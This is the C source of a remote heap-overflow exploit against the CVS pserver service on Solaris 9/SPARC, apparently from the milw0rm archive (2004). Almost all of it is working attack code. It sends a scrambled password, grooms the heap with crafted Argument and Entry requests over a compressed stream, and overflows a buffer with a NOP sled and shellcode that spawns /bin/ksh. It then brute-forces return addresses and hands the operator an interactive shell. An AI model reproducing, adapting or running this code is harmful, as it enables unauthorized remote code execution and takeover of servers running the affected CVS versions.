#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define CVS_PORT 2401 #define RET 0xffbffd20 #define NOP 0x82102017 #define ROUND(s) if (s % word_size) s += (word_size - (s % word_size)) unsigned char *root; unsigned char *user; unsigned char *pass; unsigned char *scrambled; unsigned char *reposit; unsigned char *directory; unsigned char buf[512]; unsigned char *host; unsigned int rport, port; unsigned int target; z_stream zout; z_stream zin; unsigned char zbuf[65536 * 4]; unsigned int zbufpos, zsent = 0; unsigned int word_size = 8, fill_size; unsigned int len1, len2, len3; unsigned int oflip, change, retaddr; char entry1[64], entry2[64], entry3[64]; struct expl { char *name; unsigned int retadd; } serve[] = { { "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8}, { "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192}, { "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8}, { "Crash server", 0x41414141}, { "Crash server 2", 0x77777777}, { "Stack ret test", 0xffbffd20}, { "Heap ret test", 0x00031337}, { NULL, 0} }; char shellcode[]= "\x21\x18\xd8\x58" // sethi %hi(0x63616000), %l0 "\xa0\x14\x23\x61" // or %l0, 0x361, %l0 "\x90\x10\x20\x01" // mov 1, %o0 "\x92\x0b\x80\x0e" // and %sp, %sp, %o1 "\x94\x10\x20\x04" // mov 4, %o2 "\x82\x10\x20\x04" // mov 4, %g1 "\x91\xd0\x20\x08" // ta 8 /* lsd shellcode. */ "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; char *scramble(char * str); void handler(int sig) { signal(SIGPIPE, handler); } /* * This function reads from socket s until either max bytes are read, * a newline is read, or timeout seconds elapse with no data over the * socket. * return values: * -2: timeout * -1: error * 0: connection closed * x: normal success, x bytes read */ int timeout_read(int s, char *buf, int max, int timeout) { int total = 0; int r = 0; int s_flags; char c; struct timeval to; fd_set rset; memset(&to, '\0', sizeof(to)); to.tv_sec = timeout; to.tv_usec = 0; s_flags = fcntl(s, F_GETFL, 0); fcntl(s, F_SETFL, s_flags | O_NONBLOCK); while(total < max) { FD_ZERO(&rset); FD_SET(s, &rset); select(s + 1, &rset, NULL, NULL, &to); if (FD_ISSET(s, &rset)) { r = read(s, &c, 1); total += r; if(r == -1) { if (errno != EWOULDBLOCK) { fcntl(s, F_SETFL, s_flags); return -1; } else continue; } else if(r == 0) { fcntl(s, F_SETFL, s_flags); return 0; } else /* r == 1 */ { buf[total-1] = c; if(c == '\n') break; } } else { fcntl(s, F_SETFL, s_flags); return -2; } } fcntl(s, F_SETFL, s_flags); return total; } void zflush(int sockfd) { static char outbuf[65536]; zout.next_in = zbuf; zout.avail_in = zbufpos; do { zout.next_out = outbuf; zout.avail_out = sizeof(outbuf); if(deflate(&zout, Z_PARTIAL_FLUSH) == -1) { printf("[--] Compression error.\n"); exit(1); } zsent += sizeof(outbuf) - zout.avail_out; write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out); } while (zout.avail_in != 0); zbufpos = 0; return; } int zwrite(char *buf, int len, int sockfd) { if ((sizeof(zbuf) - zbufpos) < (len)) zflush(sockfd); memcpy(zbuf + zbufpos, buf, len); zbufpos += len; if (zbufpos >= sizeof(zbuf)) { printf("[--] zwrite compression error.\n"); exit(1); } return (len); } int zgetch(int sockfd) { static char * outbuf = NULL; static int outpos = 0, outlen = 0; static char rcvbuf[32768]; static char dbuf[4096]; int got; retry: if (outpos < outlen && outlen) return outbuf[outpos++]; free(outbuf); outlen = 0; outbuf = NULL; got = read(sockfd, rcvbuf, sizeof(rcvbuf)); if (got <= 0) { printf("[--] Socket error.\n"); exit(1); } zin.next_in = rcvbuf; zin.avail_in = got; while (1) { int status, dlen; zin.next_out = dbuf; zin.avail_out = sizeof(dbuf); status = inflate(&zin, Z_PARTIAL_FLUSH); switch (status) { case Z_OK: outpos = 0; dlen = sizeof(dbuf) - zin.avail_out; outlen += dlen; outbuf = realloc(outbuf, outlen); memcpy(outbuf + outlen - dlen, dbuf, dlen); break; case Z_BUF_ERROR: goto retry; default: printf("[--] Revc inflate error.\n"); } } } char *zgets(int sockfd) { static char buf[32768]; char * p = buf; int c; while (1) { c = zgetch(sockfd); if (c == '\n') break; *p++ = c; if (p > buf + sizeof(buf)) { p--; break; } } *p = 0; return (buf); } int do_compression(int s) { char buf[3000]; int term = 0, i = 0; deflateInit(&zout, 1); inflateInit(&zin); memset(buf, 0x0, 300); sprintf(buf, "Gzip-stream 1\n"); write(s, buf, strlen(buf)); } int do_auth(int s) { char* str = malloc(50000); if(str == 0) { perror("malloc"); exit(1); } strcpy(str, "BEGIN AUTH REQUEST"); strncat(str, "\n", 1); strncat(str, reposit, strlen(reposit)); strncat(str, "\n", 1); strncat(str, user, strlen(user)); strncat(str, "\n", 1); scrambled = scramble(pass); strncat(str, scrambled, strlen(scrambled)); strncat(str, "\n", 1); strncat(str, "END AUTH REQUEST", 16); strncat(str, "\n", 1); write(s, str, strlen(str)); free(str); return 0; } int do_root(int s) { char* str = malloc(5000); bzero(str, 5000); strncat(str, "Root ", 5); strncat(str, root, strlen(root)); strncat(str, "\n", 1); write(s, str, strlen(str)); free(str); return 0; } int do_sized_entry(int s, char *e1, char *e2, int size) { char *str = malloc(size * 2); char *tmp = malloc(size); int x = 0; int term = 0; if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4)) { return; } bzero(str, size*2); bzero(tmp, size); sprintf(tmp, "Entry /%s/%s/", e1, e2); strcat(str, tmp); term = strlen(str); x = term; while(x < (size - 1)) str[x++] = 0xff; strcat(str, "\n"); str[term] = 0; write(s, str, size); free(str); return(0); } int normalize_heap(int sockfd) { int i; char buff[8192 + 128]; memset(buff, 0x0, 8192 + 128); memset(buff, 0x62, 8190); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); buff[72] = 0; for( i = 0 ; i < 128 ; i++) { write(sockfd, buff, 8191); } memset(buff, 0x0, 8192 + 128); memset(buff, 0x62, 8190); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); buff[65] = 0; for(i = 0 ; i < 64 ; i++) { write(sockfd, buff, 8191); } memset(buff, 0x0, 8192 + 128); memset(buff, 0x62, 8190); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); buff[44] = 0; for(i = 0 ; i < 32 ; i++) { write(sockfd, buff, 8191); } memset(buff, 0x0, 8192 + 128); memset(buff, 0xff, 8193); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); write(sockfd, buff, 8194); } int correctly_fill_hole(int sockfd, int fill) { int chunk_size, chunk_size2; int num_chunks; int leftover, i = 0; char buf[256]; char pad[1024]; char buff[2048]; unsigned long addr = RET; char addrbuf[4096]; chunk_size = (1024 + word_size); num_chunks = (fill / chunk_size); leftover = (fill % chunk_size); memset(pad, 0x0, 1024); memset(pad, 0x88, ((1024 - 8) / 2)); memset(buff, 0x0, 2048); /* The exploit will almost certainly fail if leftover == 0 * however in theory this should never actually happen. */ if(leftover == 0) { for(i = 0; i < num_chunks && fill > 0; i++) { do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size)); fill -= (1024 + word_size); } } else { for(i = 0; i < (num_chunks -2) && fill > 0; i++) { do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size)); fill -= (1024 + word_size); } chunk_size2 = (chunk_size * 2 + leftover); ROUND(chunk_size2); memset(buff, 0x0, 2048); memset(buff, 0xff, (chunk_size2 - 8) / 2); memset(addrbuf, 0x0, sizeof(addrbuf)); for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4) *(int *)&addrbuf[i] = htonl(RET); memcpy(buff+1, addrbuf, strlen(addrbuf)); do_sized_entry(sockfd, buff, buff, 4096); } memset(buff, 0x0, 2048); memset(buff, 0xff, 34); memset(addrbuf, 0x0, sizeof(addrbuf)); for(i = 0; i < 28; i+=4) *(int *)&addrbuf[i] = htonl(RET); memcpy(buff+7, addrbuf, strlen(addrbuf)); do_sized_entry(sockfd, buff, buff, 97); } int do_ismodified(int s, char *e1) { char *str = (char *) malloc(100000); int x = 0, term = 0; bzero(str, 100000); sprintf(str,"Is-modified %s\n", e1); zwrite(str, strlen(str), s); zflush(s); free(str); return 0; } int do_argument(int sockfd) { char *exp; exp = (char *) malloc(20000); memset(exp, 0x0, 20000); memset(exp, 0x69, 19680 + strlen("Argument ")); memcpy(exp, "Argument ", strlen("Argument ")); exp[19680 + strlen("Argument ")] = '\n'; write(sockfd, exp, strlen(exp)); return(0); } int do_resize(int sockfd) { char buffer[256]; int x = 0; memset(buffer, 0x0, 256); memset(buffer, 0xff, 255); buffer[254] = '\n'; memcpy(buffer, "Argumentx ", strlen("Argumentx ")); buffer[74 + 44] = 0; zwrite(buffer, 255, sockfd); zflush(sockfd); } int do_overflow(int sockfd) { char buffer[20000]; int i = 0; memset(buffer, 0x0, 20000); memset(buffer, 0x42, 19782); for(i = 0 ; i < 19780-8; i+=4) *(unsigned int *)&buffer[i] = htonl(retaddr); for(i = 0; i < 19600; i+=4) *(unsigned int *)&buffer[i] = htonl(NOP); memcpy(buffer+19000, shellcode, strlen(shellcode)); memcpy(buffer, "Argument ", strlen("Argument ")); buffer[19781] = '\012'; zwrite(buffer, 19782, sockfd); zflush(sockfd); } int work_around_zlib_bug(int sockfd) { char buffer[4096]; char data[64]; memset(data, 0x0, 64); memset(data, 0x42, 32); memset(buffer, 0x0, 4096); memset(buffer, 0x42, 4000); sprintf(buffer, "Entry /%s/%s/", data, data); buffer[2999] = '\n'; zwrite(buffer, 3000, sockfd); zflush(sockfd); } unsigned char auth_shifts[] ={ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 }; char *scramble(char * str) { int i; char * s; s = (char *) malloc (strlen (str) + 3); memset(s, '\0', strlen(str) + 3); *s = 'A'; for (i = 1; str[i - 1]; i++) s[i] = auth_shifts[(unsigned char)(str[i - 1])]; return (s); } int usage(char *name) { printf("usage: %s [options]\n", name); printf("Options:\n"); printf(" -t Desired target\n"); printf(" -r CVS root\n"); printf(" -u CVS user\n"); printf(" -p Password\n"); printf(" -h Targeted host\n"); printf(" -P Port running CVS\n"); printf("\nAvailable targets:\n"); for (target = 0; serve[target].name != NULL; target++) printf("[%i] - %s\n", target, serve[target].name); exit(0); } int do_shell(int sockfd) { while(1) { fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sockfd,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)) { int cnt; char buf[1024]; if(FD_ISSET(0,&fds)) { if((cnt=read(0,buf,1024))<1) { if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sockfd,buf,cnt); } if(FD_ISSET(sockfd,&fds)) { if((cnt=read(sockfd,buf,1024))<1) { if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } } int main(int argc, char *argv[]) { int i, sockfd, len, result,x; char c; struct sockaddr_in addr; struct hostent *hostinfo; if(argc == 1) { usage(argv[0]); } port = CVS_PORT; while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF) { switch(c) { case 't': target = atoi(optarg); break; case 'r': root = strdup(optarg); reposit = strdup(optarg); break; case 'u': user = strdup(optarg); break; case 'd': directory = strdup(optarg); break; case 'p': pass = strdup(optarg); break; case 'h': host = strdup(optarg); break; default: usage(argv[0]); } } hostinfo = gethostbyname(host); if(!hostinfo) { perror("gethostbyname()"); exit(0); } sockfd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list; len = sizeof(addr); printf("Attacking %s running %s\n", host, serve[target].name); printf("["); fflush(stdout); retaddr = serve[target].retadd; while(1) { sockfd = socket(AF_INET, SOCK_STREAM, 0); result = connect(sockfd, (struct sockaddr *)&addr, len); if(result == -1) { perror("connect()"); exit(0); } do_auth(sockfd); timeout_read(sockfd, buf, sizeof(buf)-1, 3); do_root(sockfd); normalize_heap(sockfd); do_argument(sockfd); fill_size = 19680; memset(entry1, 0x41, 60); memset(entry2, 0x42, 60); memset(entry3, 0x43, 60); do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) ); fill_size -= (128 + word_size); do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) ); fill_size -= (128 + word_size); do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) ); fill_size -= (128 + word_size); correctly_fill_hole(sockfd, fill_size - (64 + word_size)); do_compression(sockfd); len1 = ( 5 + 4 + 16); len2 = ( 144 + 8 + 5 + 1); len3 = ( 144 + 8 + 128 + 8 + 5 + 0); for(i = 0; i < len1; i++) do_ismodified(sockfd, entry1); for(i = 0; i < len2; i++) do_ismodified(sockfd, entry2); for(i = 0; i < len3; i++) do_ismodified(sockfd, entry3); work_around_zlib_bug(sockfd); do_resize(sockfd); do_overflow(sockfd); printf("."); fflush(stdout); while(1) { result = timeout_read(sockfd, buf, 4, 5); if(result == -1 || result == 0) { break; } if(result == -2) { printf("\n Timeout... trying for shell\n"); do_shell(sockfd); break; } /* Maybe use strstr and a larger read buffer here ? */ if(strncmp(buf, "caca", 4) == 0) { printf("]\n"); printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr); do_shell(sockfd); exit(0); } } change += 12000; if(oflip == 0) { retaddr = serve[target].retadd + change; oflip = 1; } else if(oflip == 1) { retaddr = serve[target].retadd - change; oflip = 0; } close(sockfd); } } // milw0rm.com [2004-06-25]